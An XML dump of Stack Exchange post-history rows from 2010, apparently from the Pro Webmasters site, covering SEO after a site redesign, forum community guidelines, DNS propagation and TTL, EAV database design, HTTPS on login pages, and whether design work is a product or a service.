  <row Id="12809" PostHistoryTypeId="3" PostId="6414" RevisionGUID="15530bd6-dac3-4271-adc9-3810fc5875a0" CreationDate="2010-12-07T03:17:55.060" UserDisplayName="Chris" Text="&lt;seo&gt;" />
  <row Id="12810" PostHistoryTypeId="2" PostId="6415" RevisionGUID="d073b49c-0cad-4675-9099-b2068a76cfd6" CreationDate="2010-12-07T03:37:35.423" UserId="1253" Text="It's definitely not because of the meta tags. [Google doesn't use the keyword tage][1] or [the description tag][2]. (Feel free to show your client this so he doesn't think he knows it all).&#xD;&#xA;&#xD;&#xA;What may be causing the issue is:&#xD;&#xA;&#xD;&#xA; - **Changed URLs**. Did you change the URLs the home page or internal pages? If so, did you do a 301 redirect from the old pages to the new pages? If not the new URLs will be considered new pages and start from scratch with PR, etc. If you want Google to associate the old pages with the new ones do a 301 redirect for every page with a new URL.&#xD;&#xA;&#xD;&#xA; - **Changed site structure**. Did you change how the site is structured? Did you create a hierarchal system of pages with the most important ones being towards the top? To optimize your internal linking and PR channeling your site structure must be done correctly.&#xD;&#xA;&#xD;&#xA; - **Loss of semantic markup**. HTML is an important indicator about the importance of page content and relevancy of page content. If the new HTML doesn't give the search engines clues about the content then even if the mark up is valid it isn't SE optimized.&#xD;&#xA;&#xD;&#xA;There could be plenty of other reasons why this has happened that I didn't list here. It would take too long to do. It's also possible that the change is temporary while Google sorts out the new site. If you don't know much about SEO I highly recommend [reading up on how it works][3] as it goes *way* beyond valid HTML and CSS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/09/google-does-not-use-keywords-meta-tag.html&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2007/12/answering-more-popular-picks-meta-tags.html&#xD;&#xA;  [3]: http://www.websitepublisher.net/seo-guide/" />
  <row Id="12811" PostHistoryTypeId="5" PostId="6415" RevisionGUID="587d0a6b-989f-4a36-970a-005ad434387f" CreationDate="2010-12-07T03:45:52.207" UserId="1253" Comment="added 538 characters in body; deleted 1 characters in body" Text="It's definitely not because of the meta tags. [Google doesn't use the keyword tag][1] or [the description tag][2]. (Feel free to show your client this so he doesn't think he knows it all).&#xD;&#xA;&#xD;&#xA;What may be causing the issue is:&#xD;&#xA;&#xD;&#xA; - **Changed URLs**. Did you change the URLs the home page or internal pages? If so, did you do a 301 redirect from the old pages to the new pages? If not the new URLs will be considered new pages and start from scratch with PR, etc. If you want Google to associate the old pages with the new ones do a 301 redirect for every page with a new URL.&#xD;&#xA;&#xD;&#xA; - **SE Friendly URLs**. Are the new URLs SE friendly? Do they contain keywords? Or do use useless query strings (e.g. ?id=123)? If the old pages even had just one keyword in it and the new pages don't you're taking a step backwards.&#xD;&#xA;&#xD;&#xA; - **Changed site structure**. Did you change how the site is structured? Did you create a hierarchal system of pages with the most important ones being towards the top? To optimize your internal linking and PR channeling your site structure must be done correctly.&#xD;&#xA;&#xD;&#xA; - **Loss of semantic markup**. HTML is an important indicator about the importance of page content and relevancy of page content. If the new HTML doesn't give the search engines clues about the content then even if the mark up is valid it isn't SE optimized.&#xD;&#xA;&#xD;&#xA;There could be plenty of other reasons why this has happened that I didn't list here. It would take too long to do. It's also possible that the change is temporary while Google sorts out the new site. If you don't know much about SEO I highly recommend [reading up on how it works][3] as it goes *way* beyond valid HTML and CSS. Although the home page is its own separate entity and is ranked like any other page it usually reflects how the site as a whole is optimized. If the inner pages are poorly optimized they can do little to boost the home page. Make sure every page from the home page to the privacy policy is optimized.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/09/google-does-not-use-keywords-meta-tag.html&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2007/12/answering-more-popular-picks-meta-tags.html&#xD;&#xA;  [3]: http://www.websitepublisher.net/seo-guide/" />
  <row Id="12812" PostHistoryTypeId="2" PostId="6416" RevisionGUID="8a28c056-bda7-44d8-9d40-575102e3aed3" CreationDate="2010-12-07T05:08:16.640" UserId="569" Text="I'm running a forum that's open to the public, which has predominantly been civil and on-task for the last 3.5 years.&#xD;&#xA;&#xD;&#xA;Recently, however, there's been an ongoing, unproductive dispute between a handful of users.&#xD;&#xA;&#xD;&#xA;We currently don't have explicit community guidelines, but, in light of this dispute, I'm thinking we should adopt some sort of code of conduct.&#xD;&#xA;&#xD;&#xA;How would you go about writing such a document?  What points should I make sure to include?" />
  <row Id="12813" PostHistoryTypeId="1" PostId="6416" RevisionGUID="8a28c056-bda7-44d8-9d40-575102e3aed3" CreationDate="2010-12-07T05:08:16.640" UserId="569" Text="What points should I include in my forum's community guidelines?" />
  <row Id="12814" PostHistoryTypeId="3" PostId="6416" RevisionGUID="8a28c056-bda7-44d8-9d40-575102e3aed3" CreationDate="2010-12-07T05:08:16.640" UserId="569" Text="&lt;forum&gt;" />
  <row Id="12815" PostHistoryTypeId="2" PostId="6417" RevisionGUID="0979b15f-1ea6-4154-b9ee-b9c2242c1910" CreationDate="2010-12-07T05:49:10.803" UserDisplayName="Mike" Text="Personally I like to let google run rampant on the theory that it's better too much crawled/indexed than too little. &#xD;&#xA;&#xD;&#xA;I know lots of people would disagree due to potential duplicate content issues but I wonder if we get too hung up about that. For example, a friend has a site with around 15,000 products, ALL duplicate content yet it appears on googles front page for his keywords on an ongoing basis. &#xD;&#xA;&#xD;&#xA;Google expects to find duplicate content and knows that it can be legitimate. No retailer is going to rewrite dozens/hundreds/thousands of products descriptions.&#xD;&#xA;&#xD;&#xA;My art collection blog site running the Thesis theme had by canonical url turned on and noindex/nofollow on for some attributes by default. Using the Firefox plugin SEO Doctor to check why google didn't love me I found some of my site (unique content) was reported as 'non-indexable'!&#xD;&#xA;&#xD;&#xA;It never hurts to check that google's not ignoring more than you thought because your website telling it to." />
  <row Id="12816" PostHistoryTypeId="2" PostId="6418" RevisionGUID="81814039-f7be-4cf2-ac2e-c207c5239ba3" CreationDate="2010-12-07T08:20:10.907" UserId="1064" Text="I believe the following general ideas make sense for community guidelines and, if you post them, they should be enforced even-handedly for *all* members:&#xD;&#xA;&#xD;&#xA;* All community members are expected to treat each other with respect - incitement, flaming, and derogatory statements against fellow members of the community will be penalized&#xD;&#xA;&#xD;&#xA;* (if applicable) Off-topic discussion outside of the (off-topic subforum) will be moved to (off-topic subforum); repeated posting of off-topic material outside the subforum will be penalized&#xD;&#xA;&#xD;&#xA;It *might* help to step in and nudge discussion of disputed opinions toward rational discussion - i.e. remind users that *[ad hominem][1]* arguments are not productive and will be penalized and encourage users to cite their sources and provide evidence to back up their opinions - but hopefully the enforcement of community guidelines will be sufficient to remind your community's members that they are expected to remain civil without any further involvement in the disputes themselves.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Ad_hominem" />
  <row Id="12817" PostHistoryTypeId="2" PostId="6419" RevisionGUID="25d80f4b-187c-4688-bef1-d41eb3f25a11" CreationDate="2010-12-07T10:54:01.980" UserDisplayName="Steven" Text="After I re-deigned my website, Google stoped ranking my page. I have no idea why.&#xD;&#xA;&#xD;&#xA;I'm not band from Google, because my website [is #1 on the search][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And my META tags for robots look like this:&#xD;&#xA;&#xD;&#xA;    &lt;meta content=&quot;index,follow&quot; name=&quot;robots&quot;&gt;&#xD;&#xA;&#xD;&#xA;So why is [Google Page Rank Checker][2] not able to rate my site?  &#xD;&#xA;My website is: http://www.norwegianfashion.no&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.no/search?client=opera&amp;rls=en-GB&amp;q=norwegianfashion&amp;sourceid=opera&amp;ie=utf-8&amp;oe=utf-8&#xD;&#xA;  [2]: http://www.prchecker.info/check_page_rank.php" />
  <row Id="12818" PostHistoryTypeId="1" PostId="6419" RevisionGUID="25d80f4b-187c-4688-bef1-d41eb3f25a11" CreationDate="2010-12-07T10:54:01.980" UserDisplayName="Steven" Text="Why is Google not rinking my page?" />
  <row Id="12819" PostHistoryTypeId="3" PostId="6419" RevisionGUID="25d80f4b-187c-4688-bef1-d41eb3f25a11" CreationDate="2010-12-07T10:54:01.980" UserDisplayName="Steven" Text="&lt;pagerank&gt;&lt;google-ranking&gt;" />
  <row Id="12820" PostHistoryTypeId="17" PostId="6419" RevisionGUID="83fe8c80-917f-4f28-a68d-de2e8ab285e4" CreationDate="2010-12-07T11:12:08.257" UserId="-1" Comment="from http://stackoverflow.com/questions/4375855/why-is-google-not-rinking-my-page" Text="" />
  <row Id="12821" PostHistoryTypeId="2" PostId="6420" RevisionGUID="67a2b04c-c3e6-4a23-ad5d-46c522dc7eca" CreationDate="2010-12-07T11:14:40.557" UserId="3467" Text="I tend to use as few rules as possible. The more rules and the stricter the rules, the more people will try and bend them. The ones I usually use are in the lines of:&#xD;&#xA;&#xD;&#xA;1. Use common sense&#xD;&#xA;2. Don't be a dick&#xD;&#xA;3. Report misbehaviour to the staff&#xD;&#xA;3. If we *really* can't work something out, admin's word rules&#xD;&#xA;&#xD;&#xA;That way you get to look at each case separately. In my experience some users may have a reputation that will allow them to get away with more than others, in some cases offtopic isn't that bad at all, etc. By treating each issue this way users won't be able to hold pretty little rules against you and as long as you're not being a tyrant and let people speak their minds rules like these generally create an open atmosphere. If everything else fails, rule 4 lets you have the last word, but you shouldn't need it very often." />
  <row Id="12822" PostHistoryTypeId="2" PostId="6421" RevisionGUID="a9882dcf-1c29-4a52-b03f-329ab3666b01" CreationDate="2010-12-07T11:42:39.997" UserId="914" Text="Your site is obviously being indexed by Google as [you can see here][1] which is the main thing. I personally wouldn't worry too much about whether a 3rd party site can determin page-rank for your site, what matters is that it is available on Google and people can find it.&#xD;&#xA;&#xD;&#xA;If you don't already have one, I'd suggest creating a [Google Webmasters account][2] and using it's tools to verify if there is any problem. If there is, it should be indicated here. If not, I wouldn't worry.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.co.uk/search?q=site%3Ahttp%3A%2F%2Fwww.norwegianfashion.no&#xD;&#xA;  [2]: https://www.google.com/webmasters/tools/" />
  <row Id="12823" PostHistoryTypeId="2" PostId="6422" RevisionGUID="9f1485a4-2793-48be-b85c-d60d198455cd" CreationDate="2010-12-07T11:46:39.713" UserId="914" Text="I use the [Opera browser][1] which has a built in facility for snippets (or notes as they are called) and these can be synchronised to any computer you have running Opera.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.opera.com/support/kb/view/642/" />
  <row Id="12824" PostHistoryTypeId="2" PostId="6423" RevisionGUID="f900c075-4c64-4bed-9b5d-65088b3dfc0b" CreationDate="2010-12-07T12:10:16.067" UserId="233" Text="This is pretty much a duplicate question, but I think I should help clear some things up. The three URLs you mention are *not* equivalent; they are different URLs. There is no file `index.asp` located in the folder `/questions/4803/the-sitemap-paradox/` - in fact there is no folder at all!&#xD;&#xA;&#xD;&#xA;The thing you need to remember is that URLs do not necessarily correspond to absolute file/folder names on the server. On the most basic configuration they do, but most sites nowadays use rewrites to remove file extensions and improve SEO with keywords.&#xD;&#xA;&#xD;&#xA;In the case of Pro Webmasters, the server sees a request for that URL, then looks up the ID in the database and displays the content. For example it could pass the variables `questions` and `6392` to a script, say `/index.asp` that does that processing. (On all the Stack Exchange sites, the part after the question ID is completely ignored, you can change it to anything and the same question will load.)&#xD;&#xA;&#xD;&#xA;Finally, to answer your actual question: it doesn't really matter. Create URLs that are nice for users - this means short and descriptive URLs where possible. When you look at the URL for this page you can instantly see what to expect: *a webmaster question about whether folders or filenames are better for SEO.*" />
  <row Id="12825" PostHistoryTypeId="2" PostId="6424" RevisionGUID="44af1d1e-adeb-4576-82a1-baea4cead6c8" CreationDate="2010-12-07T12:37:52.857" UserId="3719" Text="2 days ago, I applied a domain gtscomputers.com.au, and then changed the nameserver to the one from my hosting, and change all &quot;A Record&quot; to the IP 27.131.74.13.&#xD;&#xA;&#xD;&#xA;Yesterday, I applied another IP address 27.131.74.36 and changed all &quot;A Records&quot; to the new IP, this morning the domain has been pointed to the new IP.&#xD;&#xA;&#xD;&#xA;However, when I tried to access the website tonight, it has been point back to the previous IP address 27.131.74.13.&#xD;&#xA;&#xD;&#xA;I'm using 8.8.8.8 (Google DNS) on my PC, and after I change to ISP's DNS, the website is pointed to the new IP which is correct, because this DNS has not been updated yet.&#xD;&#xA;&#xD;&#xA;Can anyone tell me what's going on? I have checked all DSN settings." />
  <row Id="12826" PostHistoryTypeId="1" PostId="6424" RevisionGUID="44af1d1e-adeb-4576-82a1-baea4cead6c8" CreationDate="2010-12-07T12:37:52.857" UserId="3719" Text="WHY my domain points back to previous IP after 1 day" />
  <row Id="12827" PostHistoryTypeId="3" PostId="6424" RevisionGUID="44af1d1e-adeb-4576-82a1-baea4cead6c8" CreationDate="2010-12-07T12:37:52.857" UserId="3719" Text="&lt;dns&gt;" />
  <row Id="12828" PostHistoryTypeId="2" PostId="6425" RevisionGUID="98bd62d5-4e92-4e87-8635-bb6d58bdbd2f" CreationDate="2010-12-07T12:38:37.020" UserId="1407" Text="I'd like to be able to have a very lightweight Windows Service call some code on the Web Server at regular intervals. Do I have any options besides a Dedicated/Semi-Dedicated Server?" />
  <row Id="12829" PostHistoryTypeId="1" PostId="6425" RevisionGUID="98bd62d5-4e92-4e87-8635-bb6d58bdbd2f" CreationDate="2010-12-07T12:38:37.020" UserId="1407" Text="Are there any Shared Web Hosts that provide access to run Windows Services?" />
  <row Id="12830" PostHistoryTypeId="3" PostId="6425" RevisionGUID="98bd62d5-4e92-4e87-8635-bb6d58bdbd2f" CreationDate="2010-12-07T12:38:37.020" UserId="1407" Text="&lt;web-hosting&gt;&lt;windows&gt;" />
  <row Id="12833" PostHistoryTypeId="2" PostId="6427" RevisionGUID="fba4410a-d41c-4406-9e47-c8d0157b7f00" CreationDate="2010-12-07T13:14:24.787" UserId="1757" Text="Generating forms dynamically is pretty easy. The harder part is designing a back-end that accommodates dynamic form data. But that too shouldn't be too difficult.&#xD;&#xA;&#xD;&#xA;The most common approach is to use an [EAV model][1] (Entity-Attribute-Value), also known as an **open schema** model. This is a generalized form of **row modeling**, which is recording facts about something across multiple rows instead of multiple columns.&#xD;&#xA;&#xD;&#xA;So instead of having a table called `Orders` with fields like `size`, `paper`, `color`, etc. and having to modify the table schema or create a new table in order to create a new custom form, you would simply have 3 tables (`Entity`, `Attribute`, `Value`) in which all form data can be stored in, no matter what the form looks like. In this case, each order would be a new *entity*, and each form field would be an *attribute*, and of course the selected options would be the *values*.&#xD;&#xA;&#xD;&#xA;This might look a little confusing at first, but once you start to implement the system everything will start to fall in place. Usually this is done in the database abstraction layer or ORM. See Magento for an example of this in action, which uses EAV to allow custom product attributes to be defined by the user.&#xD;&#xA;&#xD;&#xA;It should be noted that many (most notably Bill Karwin&amp;mdash;former project manager for Zend Framework) consider EAV to be an antipattern, but I can think of no better alternatives to EAV for these cases, so the benefits outweigh the costs IMO.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Entity-attribute-value_model" />
  <row Id="12834" PostHistoryTypeId="2" PostId="6428" RevisionGUID="59e43538-d1bd-4d03-ba28-399d65d26278" CreationDate="2010-12-07T13:16:24.287" UserId="1064" Text="The [time to live (TTL)][1] value for your domain name system record tells nameservers how long to cache the old data - unless you explicitly set a low TTL, nameservers will likely respond to DNS lookups with the last cached data until the TTL expires.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Time_to_live" />
  <row Id="12835" PostHistoryTypeId="2" PostId="6429" RevisionGUID="4add443f-2a9f-40df-b289-8b3694cf87bf" CreationDate="2010-12-07T13:19:00.700" UserId="2026" Text="I hope, this might help you&#xD;&#xA;&#xD;&#xA;http://article-stack.com/knowledge/review-2/is-google-not-good-for-back-link-search.amty" />
  <row Id="12836" PostHistoryTypeId="5" PostId="6427" RevisionGUID="affcdaf6-9a49-4383-ac47-992c87d6afd9" CreationDate="2010-12-07T13:21:32.133" UserId="1757" Comment="deleted 13 characters in body" Text="Generating forms dynamically is pretty easy. The harder part is designing a back-end that accommodates dynamic form data. But that too shouldn't be too difficult.&#xD;&#xA;&#xD;&#xA;The most common approach is to use an [EAV model][1] (Entity-Attribute-Value), also known as an **open schema** model. This is a generalized form of **row modeling**, which is recording facts about something across multiple rows instead of multiple columns.&#xD;&#xA;&#xD;&#xA;So instead of having a table called `Orders` with fields like `size`, `paper`, `color`, etc. and having to modify the table schema or create a new table in order to create a new custom form, you would simply have 3 tables (`Entity`, `Attribute`, `Value`) in which all form data can be stored, no matter what the form looks like. In this case, each order would be a new *entity*, each form field would be an *attribute*, and of course the selected options would be the *values*.&#xD;&#xA;&#xD;&#xA;This might look a little confusing at first, but once you start to implement the system everything will start to fall in place. Usually this is done in the database abstraction layer or ORM. See Magento for an example of this in action, which uses EAV to allow custom product attributes to be defined by the user.&#xD;&#xA;&#xD;&#xA;It should be noted that many (e.g. Bill Karwin&amp;mdash;former project manager for Zend Framework) consider EAV to be an *antipattern*, but I can think of no better alternatives to EAV for these cases, so the benefits outweigh the costs IMO.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Entity-attribute-value_model" />
  <row Id="12837" PostHistoryTypeId="2" PostId="6430" RevisionGUID="5b6e7134-7d21-4354-a492-cb0994fb641e" CreationDate="2010-12-07T13:22:07.997" UserId="2026" Text="I prefer [Source Code Library « OverZone Software][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.highdots.com/products/source-code-library/" />
  <row Id="12838" PostHistoryTypeId="2" PostId="6431" RevisionGUID="0e9c2ec1-5a50-4395-b02e-93b14169de4b" CreationDate="2010-12-07T13:36:30.113" UserId="1757" Text="Most sites don't do this because, in theory, a Man-in-the-Middle attack could be used to spoof the non-HTTPS login page so that the login information can be intercepted.&#xD;&#xA;&#xD;&#xA;Though, in practice a MitM attack is a very rare and sophisticated attack. Unless you're on an unsecured network, there's almost no chance of it happening. And if you were to be victim to a MitM attack, I'm not even sure using an HTTPS login page would help. (There have been [reports][1] of rogue CA certificates being created by exploiting the use of the obsolete MD5 algorithm by root CAs; as well as [stories][2] of wildcard certificates being generated that can be used on any FQDN.)&#xD;&#xA;&#xD;&#xA;That said, if SSL *is* secure (hopefully those exploits have been fixed), then the customer should be safe from MITM attacks if they're using an up-to-date browser and pay attention to browser warnings (sort of a big &quot;if&quot; considering many big sites don't even bother to use proper SSL certificates). And users do feel safer when they see the little lock icon on their browser, so that may be a good enough reason to use it, as there are few downsides to using HTTPS on the login page. The slowdown should be negligible considering the overhead of SSL encryption is minuscule compared to database or scripting overhead on most applications.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.phreedom.org/research/rogue-ca/&#xD;&#xA;  [2]: http://news.softpedia.com/news/Researcher-Spoofs-the-Entire-Web-with-Wildcard-SSL-Certificate-117960.shtml" />
  <row Id="12845" PostHistoryTypeId="4" PostId="6419" RevisionGUID="fa6ca02f-4f6d-426f-916b-36beac648bc7" CreationDate="2010-12-07T14:14:35.383" UserId="1253" Comment="Corrected spelling error in the title rinking =&gt; ranking" Text="Why is Google not ranking my page?" />
  <row Id="12846" PostHistoryTypeId="2" PostId="6433" RevisionGUID="6ab7f89b-3bc3-43ef-86a7-8c04998b5e11" CreationDate="2010-12-07T14:35:59.870" UserId="3722" Text="While browsing around for browser statistics today I figured that it would be nice to see a dataset from www.google.com, it ought to be somewhat well balanced and should provide a pretty decent &quot;general&quot; cut of the netizen population. However, googling (oh, the irony) for a while I couldn't find any such public datasets available.&#xD;&#xA;&#xD;&#xA;Is any data like this (from Google specifically) available, either for free or subscription?" />
  <row Id="12847" PostHistoryTypeId="1" PostId="6433" RevisionGUID="6ab7f89b-3bc3-43ef-86a7-8c04998b5e11" CreationDate="2010-12-07T14:35:59.870" UserId="3722" Text="Analytics data from google.com?" />
  <row Id="12848" PostHistoryTypeId="3" PostId="6433" RevisionGUID="6ab7f89b-3bc3-43ef-86a7-8c04998b5e11" CreationDate="2010-12-07T14:35:59.870" UserId="3722" Text="&lt;google-analytics&gt;&lt;statistics&gt;" />
  <row Id="12849" PostHistoryTypeId="2" PostId="6434" RevisionGUID="e3d4c94e-b9be-47b0-9c2e-fb9ce39ec1a8" CreationDate="2010-12-07T14:42:45.823" UserId="1253" Text="No. &#xD;&#xA;&#xD;&#xA;But there are global stats offered by statistics companies that should give you the same information you;re looking for. [Net Applications][1] and [statcounter][2] are two commonly cited in the press.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://marketshare.hitslink.com/report.aspx?qprid=0&#xD;&#xA;  [2]: http://gs.statcounter.com/" />
  <row Id="12850" PostHistoryTypeId="6" PostId="6433" RevisionGUID="d60c6a23-6e02-45b4-bbb2-afd4fbf57666" CreationDate="2010-12-07T14:43:44.260" UserId="1253" Comment="Removed google-analytics tag" Text="&lt;statistics&gt;" />
  <row Id="12851" PostHistoryTypeId="2" PostId="6435" RevisionGUID="590e7314-a685-4a7f-aa8b-2c040a365516" CreationDate="2010-12-07T14:51:25.600" UserId="3590" Text="A client recently asked me this, looking at our portfolios:  &#xD;&#xA;`Does your company provide a service or a product?`&#xD;&#xA;&#xD;&#xA;Me, as a designer who does not like to put things in boxes, then close them, and them label them either one of two words, i put my eyebrows as high as ai can and said:  &#xD;&#xA;`that depends on the project!`&#xD;&#xA;&#xD;&#xA;Some tiny clients are happy-pappy with a predefined-package product and do not want to jump into an expensive, feedback-cloudy long term service contract. They just want a quick simple product about which the price and specs are known. While our biggers clients prefer, of course, the slower project pepperd with weekly brainstorms and meetings. So i think, please correct/add(your comment will be added here) that the difference are with respect tot design:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;                             'PRODUCT'               'SERVICE'&#xD;&#xA;    properties beforehand?    predefined packages     unknown, needs custom quote&#xD;&#xA;    properties afterwards?    according to specs      according to custom inquiry&#xD;&#xA;    pricing?                  known beforehand        has to be calculated&#xD;&#xA;    bottomlone price?         cheap                   expensive&#xD;&#xA;    quality of product?       can be very good!       can be very good!&#xD;&#xA;    collaboration?            minimal                 according to need&#xD;&#xA;    feedbacks                 email/phone             email/phone/face-to-face&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;Now i would like the professional design community / design company owners to speak freely here in this regard: &#xD;&#xA;&#xD;&#xA;**1.** *Do we (involved experienced driven designers) provide a SERVICE or a PRODUCT?*  &#xD;&#xA;**2.** *What are the differences according to YOUR client? (i will append them above)*  &#xD;&#xA;**3.** *Do we HAVE to choose one or other? this client said, he wanted transparency.*" />
  <row Id="12852" PostHistoryTypeId="1" PostId="6435" RevisionGUID="590e7314-a685-4a7f-aa8b-2c040a365516" CreationDate="2010-12-07T14:51:25.600" UserId="3590" Text="Providing a SERVICE versus a PRODUCT ?? client wants to know from designer" />
  <row Id="12853" PostHistoryTypeId="3" PostId="6435" RevisionGUID="590e7314-a685-4a7f-aa8b-2c040a365516" CreationDate="2010-12-07T14:51:25.600" UserId="3590" Text="&lt;design&gt;&lt;service&gt;&lt;customer-service&gt;&lt;business-models&gt;&lt;clients&gt;" />
  <row Id="12857" PostHistoryTypeId="2" PostId="6437" RevisionGUID="64a19d83-0ab6-4af4-be19-89a4098e9a03" CreationDate="2010-12-07T15:13:19.323" UserId="2293" Text="This is technical-semantic question.&#xD;&#xA;&#xD;&#xA;Software is a product. You can pack it (copy to a CD or a pen drive), ship it (once packed), you can provide assistence, maintenance, recalls, guarantee... So, yeah, it is a product.&#xD;&#xA;&#xD;&#xA;But it can be a service. One can hire your service to make a task (a website for example, or change/implement just a functionality on a existing software).&#xD;&#xA;&#xD;&#xA;Labeling as product or service depends exclusively on how and what you sell and tackle it." />
  <row Id="12858" PostHistoryTypeId="2" PostId="6438" RevisionGUID="d863cc8f-e967-40d6-a3c8-82feb90ee661" CreationDate="2010-12-07T15:23:02.730" UserId="3142" Text="I follow your logic in determining product versus service. However, I see this industry as one which provides &quot;professional services&quot; (a term used by accountants, economists, bankers, etc.), as opposed to selling products.&#xD;&#xA;&#xD;&#xA;You may product-ize your services by assigning them names, features, and fixed prices, but really, it's still a service.&#xD;&#xA;&#xD;&#xA;In a chart of accounts (your &quot;books&quot;) your income should be categorized as a service. There could be some situations where you actually sell some products to complement the service (maybe a software package such as components you use for development, or possibly even computer hardware). In those cases, you'd want to categorize the income for those sales as product sales.&#xD;&#xA;&#xD;&#xA;Getting back to your original line of thinking, I can see that a person might like to differentiate between packages versus time and materials billings. Typically, people want to pay for packages, but get the quality and flexibility of time and materials. Case in point, there is much criticism to the way that attorneys bill their clients. That being said, a package is a just a package, not a unique creation having the benefit of frequent input along the way via client meetings and a &quot;dev site.&quot;&#xD;&#xA;&#xD;&#xA;On a funny note, this exchange between web developer and prospective client is quite hilarious. It's by Xtranormal, called &quot;[I would like to buy a custom website for $600.][1]&quot; The video doesn't answer your question, but it certainly illustrates a number of typical client requests in relation to packages. **[warning: bad language in video]** YouTube link follows:&#xD;&#xA;&#xD;&#xA;http://www.youtube.com/watch?v=dFEidJQiTts&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/watch?v=dFEidJQiTts" />
  <row Id="12859" PostHistoryTypeId="5" PostId="6415" RevisionGUID="6594ea0e-4baa-4893-b91a-eafc52fec16b" CreationDate="2010-12-07T15:51:05.820" UserId="1253" Comment="clarified how meta tags are used by Google" Text="It's definitely not because of the meta tags. [Google doesn't use the keyword tag][1] or [the description tag][2] in their rankings. (Feel free to show your client this so he doesn't think he knows it all).&#xD;&#xA;&#xD;&#xA;What may be causing the issue is:&#xD;&#xA;&#xD;&#xA; - **Changed URLs**. Did you change the URLs the home page or internal pages? If so, did you do a 301 redirect from the old pages to the new pages? If not the new URLs will be considered new pages and start from scratch with PR, etc. If you want Google to associate the old pages with the new ones do a 301 redirect for every page with a new URL.&#xD;&#xA;&#xD;&#xA; - **SE Friendly URLs**. Are the new URLs SE friendly? Do they contain keywords? Or do use useless query strings (e.g. ?id=123)? If the old pages even had just one keyword in it and the new pages don't you're taking a step backwards.&#xD;&#xA;&#xD;&#xA; - **Changed site structure**. Did you change how the site is structured? Did you create a hierarchal system of pages with the most important ones being towards the top? To optimize your internal linking and PR channeling your site structure must be done correctly.&#xD;&#xA;&#xD;&#xA; - **Loss of semantic markup**. HTML is an important indicator about the importance of page content and relevancy of page content. If the new HTML doesn't give the search engines clues about the content then even if the mark up is valid it isn't SE optimized.&#xD;&#xA;&#xD;&#xA;There could be plenty of other reasons why this has happened that I didn't list here. It would take too long to do. It's also possible that the change is temporary while Google sorts out the new site. If you don't know much about SEO I highly recommend [reading up on how it works][3] as it goes *way* beyond valid HTML and CSS. Although the home page is its own separate entity and is ranked like any other page it usually reflects how the site as a whole is optimized. If the inner pages are poorly optimized they can do little to boost the home page. Make sure every page from the home page to the privacy policy is optimized.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/09/google-does-not-use-keywords-meta-tag.html&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2007/12/answering-more-popular-picks-meta-tags.html&#xD;&#xA;  [3]: http://www.websitepublisher.net/seo-guide/" />
  <row Id="12865" PostHistoryTypeId="2" PostId="6441" RevisionGUID="0be62b67-d1d1-423e-a3ee-5acf8c7e3af4" CreationDate="2010-12-07T17:40:08.310" UserId="3142" Text="I also would suggest that if the links people post are going to be &quot;NoFollow&quot; links, that you should state so. While it's easy for people to view source to figure it out, I think that so many people don't know that, and you get many comments *because* they want to generate backlinks or their on-topic comments are littered with links with hopes that it helps their link profile.&#xD;&#xA;&#xD;&#xA;Much comment spam is due to bots (xRumer, etc.), and the bots aren't going to read your guidlines, but there is still an effect of comment spam attributed to humans. Because of that, I think this might also be beneficial to include in your guidelines." />
  <row Id="12866" PostHistoryTypeId="2" PostId="6442" RevisionGUID="2519a90f-dd6d-4c0c-9277-14ee4ebb0c4f" CreationDate="2010-12-07T18:26:30.833" UserId="3142" Text="Matt Cutts is so often quoted when attempting to provide facts that support the SEO logic which, without him, is otherwise just deduced or reverse engineered. We hang onto his statements to make facts out of the things we have culled together... and that's a good way to describe the knowledgebase of the SEO community... &quot;culled together.&quot;&#xD;&#xA;&#xD;&#xA;I mean this in no disrespect to anyone, including Matt Cutts and our profession as a whole. I have to wonder, though, who is an authority on SEO who is an active participant in online communities, but is *not* conflicted due to their responsibility to their employer, such as Matt Cutts.&#xD;&#xA;&#xD;&#xA;My reasons for looking past Matt and the Google Webmaster Forums are:&#xD;&#xA;&#xD;&#xA; - &quot;We can't tell you what we're doing because you'll game the system.&quot;&#xD;&#xA; - &quot;Don't game the system because we'll catch you programatically [and it will hurt].&quot;&#xD;&#xA;&#xD;&#xA;To me, the natural response to those should be (in order):&#xD;&#xA;&#xD;&#xA; - Seriously? I'd like to make sure that I publish my information in an optimal way that complements your particular algorithms because it's good for everyone.&#xD;&#xA; - I know that my competitors cheat and you haven't caught them, and because they are cheating I cannot outrank them even though my pages are equally relevant and &quot;do no evil&quot; (to quote the GOOG). What am I to do? Should I resign just to hope your next algo will delist them and I'll suddenly benefit from my wholesomeness?&#xD;&#xA;&#xD;&#xA;**Who are the people publically providing guidance to SEO technicians, backing it not with inside information** (and the restraint that requires), **but with evidence such as test results and citations from patent filings?**&#xD;&#xA;&#xD;&#xA;While some may decry my question as completely subjective, I'll state that in some other disciplines of our profession there are a number experts we have knighted such as Jakob Nielsen (usability)." />
  <row Id="12867" PostHistoryTypeId="1" PostId="6442" RevisionGUID="2519a90f-dd6d-4c0c-9277-14ee4ebb0c4f" CreationDate="2010-12-07T18:26:30.833" UserId="3142" Text="Who is the &quot;anti-Matt Cutts&quot; in terms of providing factual comment on the SEO knowledgebase." />
